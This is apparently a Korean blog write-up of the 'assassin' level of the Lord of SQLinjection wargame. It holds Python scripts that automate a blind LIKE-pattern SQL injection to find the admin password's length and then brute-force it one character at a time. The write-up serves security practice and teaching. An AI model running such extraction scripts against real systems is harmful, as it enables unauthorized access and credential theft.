일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 자바
- sql
- APM
- 클라이언트
- 스프링 특징
- lord of sqlinjection`
- sqlinjection
- 보안
- 해킹
- injection
- php
- Lord of sqlinjection
- 스프링 종류
- 스프링구조
- 웹
- 스프링
- 세션쿠키
- Los
- 서버
- XSS
- 자바 is-a
- 쿠키
- lord of sqlinjectin
- 자바 has-a
- 자바 문법
- 세션
- 마이크로서비스 아키택트
- 소켓
- 웹 개발
- 자바 Array list
- Today
- Total
LJ
Lord of SQLinjection ( 15번 ) assassin 본문
15번 어쌔신 문제이다.
admin의 pw의 값을 맞추면
문제가 해결될 거같다.
SELECT * FROM 테이블 WHERE 컬럼 LIKE [PATTERN] | |
% | 모든 문자 |
_ | 한 글자 |
A% | A로 시작하는 모든 문자 |
%A | A로 끝나는 모든 문자 |
%A% | A를 포함하는 모든 문자 |
위 코드의 쿼리의 like 절에 사용되는 패턴을 이용한 표이다.
모든 pw를 다 포함하므로 맨위에 있을 것으로 예상되는 guest가 먼저 나오게된다.
하지만
우리는 admin의 비밀번호를 알아내야 한다.
그래서
'8_%'
'83_%'
.
.
.
.
이런식으로도 진행할 수 있지만 간단한 코드로 일단 길이부터 구해보겠다.
import requests
def check_length(url,cookie):
head={"PHPSESSID":f"{cookie}"}
print("비밀번호 길이 확인 중......")
for num in range(0,30):
sh=num*'_'
param=f"?pw={sh}"
mine=url+param
res=requests.get(mine,cookies=head)
if("Hello guest" in res.text):
return num
if __name__=="__main__":
print("블라인드 공격 시작")
url=input("URL:")
cookie=input("cookie:")
length=check_length(url,cookie)
print(f"비밀번호의 길이는 {length}입니다.")
exit
guest의 비밀번호가 8자리인지 확인하기 위해 ________ 를 이용해 15개까지 해본 결과 8자리 이내가 맞는 거같다.
import requests
def check_length(url,cookie):
head={"PHPSESSID":f"{cookie}"}
print("비밀번호 길이 확인 중......")
for num in range(0,30):
sh=num*'_'
param=f"?pw={sh}"
mine=url+param
res=requests.get(mine,cookies=head)
if("Hello guest" in res.text):
return num
def check_pw(url,cookie,length):
head = {"PHPSESSID":f"{cookie}"}
jjang=""
for len in range(1, length+1):
print(f"{len}번째 비밀번호 확인중...")
for wp in range(48,127):
test=jjang+chr(wp)
param=f"?pw={test}%"
mine=url+param
res=requests.get(mine, cookies=head)
if("Hello guest" in res.text or "Hello admin" in res.text):
print(f"{len}번째 문자 ->{test}")
jjang+=chr(wp)
break
return jjang
if __name__=="__main__":
print("블라인드 공격 시작")
url=input("URL:")
cookie=input("cookie:")
length=check_length(url,cookie)
print(f"비밀번호의 길이는 {length}입니다.")
jjang=check_pw(url,cookie,length)
print(f"비밀번호는 {jjang}입니다!!!!!!!!")
exit
여기서 주의할 점은 wp 파라미터의 값을 48 즉 0부터 특수문자 제외하고 찾아낼 수 있게 하는 것이다.
그리고
Hello admin이 뜨지 않고 Hello guest가 떴다면, 이는 admin 계정과 guest 계정의 pw 첫번째 문자가 겹친다는 뜻이다. 둘의 문자가 같을 시 테이블 상 첫번째 레코드인 guest 계정이 fetch 되기 때문이다
전체를 구할 필요는 없지만 구해보았다
그리고 이 코드로 운이좋게도 admin으로 구했지만 코드를 다시 수정해야한다.
import requests
def check_length(url,cookie):
head={"PHPSESSID":f"{cookie}"}
print("비밀번호 길이 확인 중......")
for num in range(0,30):
sh=num*'_'
param=f"?pw={sh}"
mine=url+param
res=requests.get(mine,cookies=head)
if("Hello guest" in res.text):
return num
def check_pw(url,cookie,length):
head = {"PHPSESSID":f"{cookie}"}
jjang=""
for len in range(1, length+1):
print(f"{len}번째 비밀번호 확인중...")
for wp in range(48,127):
test=jjang+chr(wp)
param=f"?pw={test}%"
mine=url+param
res=requests.get(mine, cookies=head)
if("Hello admin" in res.text):
admin=test+"%"
print(f"정답입니다 : {admin}")
break
elif("Hello guest" in res.text):
print(f"{len}번째 문자 ->{test}")
jjang+=chr(wp)
break
return admin
if __name__=="__main__":
print("블라인드 공격 시작")
url=input("URL:")
cookie=input("cookie:")
length=check_length(url,cookie)
print(f"비밀번호의 길이는 {length}입니다.")
admin=check_pw(url,cookie,length)
print(f"비밀번호는 {admin}입니다!!!!!!!!")
exit
이렇게 수정한 이유는 Hello admin이 뜨지 않고 Hello guest가 떴다면, 이는 admin 계정과 guest 계정의 pw 첫번째 문자가 겹친다는 뜻이다. 둘의 문자가 같을 시 테이블 상 첫번째 레코드인 guest 계정이 fetch 되기 때문이다.
정답입니다가 여러번 뜨지만 문제의 정답을 명확하게 구할 수 있었다.
'IT 보안 > 보안첼린지' 카테고리의 다른 글
Lord of SQLinjection ( 17번 ) zombie_assassin (0) | 2024.06.16 |
---|---|
Lord of SQLinjection ( 16번 ) succubus (0) | 2024.06.11 |
Lord of SQLinjection ( 14번 ) giant (0) | 2024.06.08 |
Lord of SQLinjection ( 13번 ) bugbear (0) | 2024.06.08 |
Lord of SQLinjection ( 12번 ) darkknight (1) | 2024.06.06 |